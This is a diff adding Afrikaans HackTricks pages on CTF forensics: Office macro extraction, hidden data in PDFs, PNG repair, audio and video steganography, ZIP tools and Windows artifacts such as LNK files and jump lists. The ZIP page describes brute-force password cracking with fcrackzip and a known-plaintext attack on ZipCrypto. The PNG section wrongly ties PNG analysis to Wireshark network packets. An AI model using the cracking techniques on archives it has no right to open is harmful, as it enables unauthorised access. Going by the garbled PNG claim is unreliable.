{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
Vir verdere inligting, besoek [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Dit is net 'n opsomming:
|
||||
|
||||
Microsoft het baie kantoorlêerformate geskep, met twee hooftipes wat **OLE-formate** (soos RTF, DOC, XLS, PPT) en **Office Open XML (OOXML) formate** (soos DOCX, XLSX, PPTX) insluit. Hierdie formate kan makros insluit, wat hulle teikens maak vir hengel en kwaadwillige sagteware. OOXML-lêers is gestruktureer as zip-houers, wat inspeksie deur middel van ontzip toelaat, wat die lêer- en vouerhiërargie en XML-lêerinhoud onthul.
|
||||
|
||||
Om OOXML-lêerstrukture te verken, word die opdrag om 'n dokument te ontzip en die uitvoerstruktuur gegee. Tegnieke vir die versteek van data in hierdie lêers is gedokumenteer, wat dui op voortdurende innovasie in data-versteek binne CTF-uitdagings.
|
||||
|
||||
Vir ontleding bied **oletools** en **OfficeDissector** omvattende gereedskapstelle vir die ondersoek van beide OLE- en OOXML-dokumente. Hierdie gereedskappe help om ingeslote makros te identifiseer en te analiseer, wat dikwels as vektore vir kwaadwillige sagteware-aflewering dien, wat tipies aanvullende kwaadwillige vragte aflaai en uitvoer. Analise van VBA-makros kan uitgevoer word sonder Microsoft Office deur gebruik te maak van Libre Office, wat foutopsporing met breekpunte en kykveranderlikes moontlik maak.
|
||||
|
||||
Die installasie en gebruik van **oletools** is maklik, met opdragte wat voorsien word vir installering via pip en die onttrekking van makros uit dokumente. Outomatiese uitvoering van makros word geaktiveer deur funksies soos `AutoOpen`, `AutoExec`, of `Document_Open`.
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Toegang Vandag:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,52 @@
|
|||
# PDF-lêerontleding
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
**Vir verdere besonderhede, kyk na:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
Die PDF-formaat is bekend vir sy kompleksiteit en potensiaal om data te verberg, wat dit 'n fokuspunt maak vir CTF forensiese uitdagings. Dit kombineer plat-teks elemente met binêre voorwerpe, wat moontlik saamgedruk of versleutel kan wees, en kan skripte in tale soos JavaScript of Flash insluit. Om die PDF-struktuur te verstaan, kan 'n mens verwys na Didier Stevens se [inleidende materiaal](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), of gereedskap soos 'n teksredigeerder of 'n PDF-spesifieke redigeerder soos Origami gebruik.
|
||||
|
||||
Vir diepgaande verkenning of manipulasie van PDF's, is gereedskap soos [qpdf](https://github.com/qpdf/qpdf) en [Origami](https://github.com/mobmewireless/origami-pdf) beskikbaar. Versteekte data binne PDF's kan verberg wees in:
|
||||
|
||||
* Onsigbare lae
|
||||
* XMP-metadata-formaat deur Adobe
|
||||
* Inkrementele generasies
|
||||
* Teks met dieselfde kleur as die agtergrond
|
||||
* Teks agter beelde of oorvleuelende beelde
|
||||
* Nie-vertoonde kommentaar
|
||||
|
||||
Vir aangepaste PDF-ontleding kan Python-biblioteke soos [PeepDF](https://github.com/jesparza/peepdf) gebruik word om op maat gemaakte ontledingsskripte te skep. Verder is die PDF se potensiaal vir versteekte data-opberging so groot dat bronne soos die NSA-gids oor PDF-risiko's en teenmaatreëls, alhoewel nie meer gehuisves op sy oorspronklike plek nie, steeds waardevolle insigte bied. 'n [Kopie van die gids](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) en 'n versameling van [PDF-formaat truuks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) deur Ange Albertini kan verdere leesstof oor die onderwerp bied.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,33 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
||||
**PNG-lêers** word hoog aangeskryf in **CTF-uitdagings** vir hul **verlieslose kompressie**, wat hulle ideaal maak vir die insluiting van verborge data. Hul data kan ontleed word deur hul netwerkpakketten met behulp van hul gereedskap soos **Wireshark**, wat ingebedde inligting of anomalieë kan onthul.
|
||||
|
||||
Vir die nagaan van die integriteit van PNG-lêers en die herstel van korrupte lêers, is **pngcheck** 'n noodsaaklike gereedskap wat opdraggelynfunksionaliteit bied om PNG-lêers te valideer en te diagnoseer ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Wanneer lêers buite eenvoudige herstel is, bied aanlyn dienste soos [OfficeRecovery se PixRecovery](https://online.officerecovery.com/pixrecovery/) 'n webgebaseerde oplossing vir die herstel van korrupte PNG's, wat kan help om belangrike data vir CTF-deelnemers te herwin.
|
||||
|
||||
Hierdie strategieë beklemtoon die belang van 'n omvattende benadering in CTF's, waarin 'n kombinasie van analitiese gereedskap en hersteltegnieke gebruik word om verborge of verlore data te ontdek en te herwin.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,41 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
||||
**Audio- en videobestandmanipulasie** is 'n kenmerkende aspek in **CTF-forensiese uitdagings**, wat gebruik maak van **steganografie** en metadata-analise om geheime boodskappe te verberg of te onthul. Gereedskap soos **[mediainfo](https://mediaarea.net/en/MediaInfo)** en **`exiftool`** is noodsaaklik vir die ondersoek van lêermetadata en die identifisering van inhoudstipes.
|
||||
|
||||
Vir klankuitdagings steek **[Audacity](http://www.audacityteam.org/)** uit as 'n voorste gereedskap vir die besigtiging van golfvorme en die analise van spektrogramme, wat noodsaaklik is vir die ontdekking van teks wat in klank gekodeer is. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** word sterk aanbeveel vir gedetailleerde spektrogramanalise. **Audacity** maak klankmanipulasie soos vertraging of omkeer van spore moontlik om verborge boodskappe op te spoor. **[Sox](http://sox.sourceforge.net/)**, 'n opdraglyn-hulpprogram, blink uit in die omskakeling en redigering van klanklêers.
|
||||
|
||||
**Least Significant Bits (LSB)**-manipulasie is 'n algemene tegniek in klank- en videosteganografie, wat gebruik maak van die vaste-grootte brokkies van mediabestande om data heimlik in te bed. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is nuttig vir die ontsluiting van boodskappe wat versteek is as **DTMF-tone** of **Morsekode**.
|
||||
|
||||
Videouitdagings behels dikwels houerformate wat klank- en videostrome saambind. **[FFmpeg](http://ffmpeg.org/)** is die go-to-gereedskap vir die analise en manipulasie van hierdie formate, wat in staat is om inhoud te demultipleks en af te speel. Vir ontwikkelaars integreer **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** FFmpeg se vermoëns in Python vir gevorderde skriptbare interaksies.
|
||||
|
||||
Hierdie verskeidenheid gereedskap beklemtoon die veelsydigheid wat vereis word in CTF-uitdagings, waar deelnemers 'n breë spektrum van analise- en manipulasietegnieke moet gebruik om verborge data binne klank- en videobestande te ontbloot.
|
||||
|
||||
## Verwysings
|
||||
* [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,44 @@
|
|||
# ZIP-truuks
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
||||
**Opdraglynhulpmiddels** vir die bestuur van **zip-lêers** is noodsaaklik vir die diagnose, herstel en kraak van zip-lêers. Hier is 'n paar sleutelhulpprogramme:
|
||||
|
||||
- **`unzip`**: Onthul waarom 'n zip-lêer nie gedekomprimeer kan word nie.
|
||||
- **`zipdetails -v`**: Bied 'n gedetailleerde analise van die velds van die zip-lêerformaat.
|
||||
- **`zipinfo`**: Lys die inhoud van 'n zip-lêer sonder om dit uit te pak.
|
||||
- **`zip -F input.zip --out output.zip`** en **`zip -FF input.zip --out output.zip`**: Probeer om beskadigde zip-lêers te herstel.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: 'n Hulpmiddel vir bruto-kragkraak van zip-wagwoorde, effektief vir wagwoorde tot ongeveer 7 karakters.
|
||||
|
||||
Die [Zip-lêerformaat spesifikasie](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) bied omvattende besonderhede oor die struktuur en standaarde van zip-lêers.
|
||||
|
||||
Dit is belangrik om daarop te let dat wagwoord-beskermde zip-lêers **nie lêernaam of lêergroottes versleutel nie**, 'n veiligheidsgebrek wat nie gedeel word met RAR- of 7z-lêers wat hierdie inligting versleutel nie. Verder is zip-lêers wat met die ouer ZipCrypto-metode versleutel is, vatbaar vir 'n **platte tekst-aanval** as 'n onversleutelde kopie van 'n saamgedrukte lêer beskikbaar is. Hierdie aanval maak gebruik van die bekende inhoud om die wagwoord van die zip te kraak, 'n kwesbaarheid wat in [HackThis se artikel](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) beskryf word en verder verduidelik word in [hierdie akademiese artikel](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). Tog is zip-lêers wat met **AES-256**-versleuteling beveilig is, immuun teen hierdie platte tekst-aanval, wat die belangrikheid van die keuse van veilige versleutelingsmetodes vir sensitiewe data beklemtoon.
|
||||
|
||||
## Verwysings
|
||||
* [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,511 @@
|
|||
# Windows Artifacts
|
||||
|
||||
## Windows Artefakte
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Generiese Windows Artefakte
|
||||
|
||||
### Windows 10 Kennisgewings
|
||||
|
||||
In die pad `\Users\<gebruikersnaam>\AppData\Local\Microsoft\Windows\Notifications` kan jy die databasis `appdb.dat` (voor Windows-verjaarsdag) of `wpndatabase.db` (na Windows-verjaarsdag) vind.
|
||||
|
||||
Binne hierdie SQLite-databasis kan jy die `Notification`-tabel vind met al die kennisgewings (in XML-formaat) wat moontlik interessante data kan bevat.
|
||||
|
||||
### Tydlyn
|
||||
|
||||
Tydlyn is 'n Windows-kenmerk wat 'n **chronologiese geskiedenis** van besoekte webbladsye, bewerkte dokumente en uitgevoerde toepassings bied.
|
||||
|
||||
Die databasis bly in die pad `\Users\<gebruikersnaam>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Hierdie databasis kan geopen word met 'n SQLite-hulpmiddel of met die hulpmiddel [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **wat 2 lêers genereer wat geopen kan word met die hulpmiddel** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
|
||||
### ADS (Alternatiewe Datastrome)
|
||||
|
||||
Gedownloade lêers kan die **ADS Zone.Identifier** bevat wat aandui **hoe** dit van die intranet, internet, ens. afgelaai is. Sommige sagteware (soos webblaaier) plaas gewoonlik selfs **meer** **inligting** soos die **URL** waarvandaan die lêer afgelaai is.
|
||||
|
||||
## **Lêerback-ups**
|
||||
|
||||
### Herwinbin
|
||||
|
||||
In Vista/Win7/Win8/Win10 kan die **Herwinbin** in die **`$Recycle.bin`**-map in die hoof van die aandrywing (`C:\$Recycle.bin`) gevind word.\
|
||||
Wanneer 'n lêer in hierdie map uitgevee word, word 2 spesifieke lêers geskep:
|
||||
|
||||
* `$I{id}`: Lêerinligting (datum van uitvee}
|
||||
* `$R{id}`: Inhoud van die lêer
|
||||
|
||||
![](<../../../.gitbook/assets/image (486).png>)
|
||||
|
||||
Met hierdie lêers kan jy die hulpmiddel [**Rifiuti**](https://github.com/abelcheung/rifiuti2) gebruik om die oorspronklike adres van die uitgevee lêers en die datum waarop dit uitgevee is, te kry (gebruik `rifiuti-vista.exe` vir Vista - Win10).
|
||||
|
||||
```
|
||||
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
|
||||
```
|
||||
|
||||
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
|
||||
|
||||
### Volume Shadow Copies
|
||||
|
||||
Shadow Copy is 'n tegnologie wat ingesluit is in Microsoft Windows wat **back-up kopieë** of afskrifte van rekenaar lêers of volumes kan skep, selfs wanneer hulle in gebruik is.
|
||||
|
||||
Hierdie rugsteun kopieë is gewoonlik geleë in die `\System Volume Information` vanaf die wortel van die lêersisteem en die naam bestaan uit **UIDs** soos getoon in die volgende prentjie:
|
||||
|
||||
![](<../../../.gitbook/assets/image (520).png>)
|
||||
|
||||
Deur die forensiese beeld te monteer met die **ArsenalImageMounter**, kan die instrument [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) gebruik word om 'n skadukopie te ondersoek en selfs die lêers uit die skadukopie-rugsteunkopieë te **onttrek**.
|
||||
|
||||
![](<../../../.gitbook/assets/image (521).png>)
|
||||
|
||||
Die registerinskrywing `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` bevat die lêers en sleutels **wat nie rugsteunkopieë moet wees nie**:
|
||||
|
||||
![](<../../../.gitbook/assets/image (522).png>)
|
||||
|
||||
Die register `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` bevat ook konfigurasie-inligting oor die `Volume Shadow Copies`.
|
||||
|
||||
### Office AutoSaved-lêers
|
||||
|
||||
Jy kan die kantoor outomatiese gestoorde lêers vind in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
|
||||
## Shell Items
|
||||
|
||||
'n Skulpunt is 'n item wat inligting bevat oor hoe om toegang tot 'n ander lêer te verkry.
|
||||
|
||||
### Onlangse Dokumente (LNK)
|
||||
|
||||
Windows skep **outomaties** hierdie **kortpaaie** wanneer die gebruiker 'n lêer **open, gebruik of skep** in:
|
||||
|
||||
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
|
||||
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
|
||||
|
||||
Wanneer 'n vouer geskep word, word 'n skakel na die vouer, na die ouervouer en die ouergrootouervouer ook geskep.
|
||||
|
||||
Hierdie outomaties geskepte skakel lêers **bevat inligting oor die oorsprong** soos of dit 'n **lêer** **of** 'n **vouer** is, **MAC** **tye** van daardie lêer, **volume-inligting** van waar die lêer gestoor word en die **vouer van die teikenvouer**. Hierdie inligting kan nuttig wees om daardie lêers te herstel in die geval dat hulle verwyder is.
|
||||
|
||||
Verder is die **skepdatum van die skakel** lêer die eerste **keer** wat die oorspronklike lêer **eerste** **gebruik** is en die **gewysigde datum** van die skakel lêer is die **laaste** **keer** wat die oorspronklike lêer gebruik is.
|
||||
|
||||
Om hierdie lêers te ondersoek, kan jy die instrument [**LinkParser**](http://4discovery.com/our-tools/) gebruik.
|
||||
|
||||
In hierdie instrument sal jy **2 stelle** tydmerke vind:
|
||||
|
||||
* **Eerste Stel:**
|
||||
|
||||
1. FileModifiedDate
|
||||
2. FileAccessDate
|
||||
3. FileCreationDate
|
||||
|
||||
* **Tweede Stel:**
|
||||
|
||||
1. LinkModifiedDate
|
||||
2. LinkAccessDate
|
||||
3. LinkCreationDate.
|
||||
|
||||
Die eerste stel tydmerke verwys na die **tydmerke van die lêer self**. Die tweede stel verwys na die **tydmerke van die gekoppelde lêer**.
|
||||
|
||||
Jy kan dieselfde inligting kry deur die Windows CLI-instrument [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) uit te voer.
|
||||
|
||||
```
|
||||
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
||||
```
|
||||
|
||||
In hierdie geval sal die inligting binne 'n CSV-lêer gestoor word.
|
||||
|
||||
### Springlyste
|
||||
|
||||
Dit is die onlangse lêers wat per toepassing aangedui word. Dit is die lys van onlangse lêers wat deur 'n toepassing gebruik word en waartoe jy toegang kan verkry op elke toepassing. Hulle kan outomaties geskep word of aangepas wees.
|
||||
|
||||
Die outomaties geskepte springlyste word gestoor in `C:\Users\{gebruikersnaam}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Die springlyste word genoem volgens die formaat `{id}.autmaticDestinations-ms` waar die aanvanklike ID die ID van die toepassing is.
|
||||
|
||||
Die aangepaste springlyste word gestoor in `C:\Users\{gebruikersnaam}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` en hulle word gewoonlik deur die toepassing geskep omdat iets belangrik met die lêer gebeur het (dalk as gunsteling gemerk).
|
||||
|
||||
Die **geskepte tyd** van enige springlys dui die **eerste keer aan dat die lêer geopen is** en die **veranderde tyd die laaste keer**.
|
||||
|
||||
Jy kan die springlyste ondersoek met behulp van [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
|
||||
![](<../../../.gitbook/assets/image (474).png>)
|
||||
|
||||
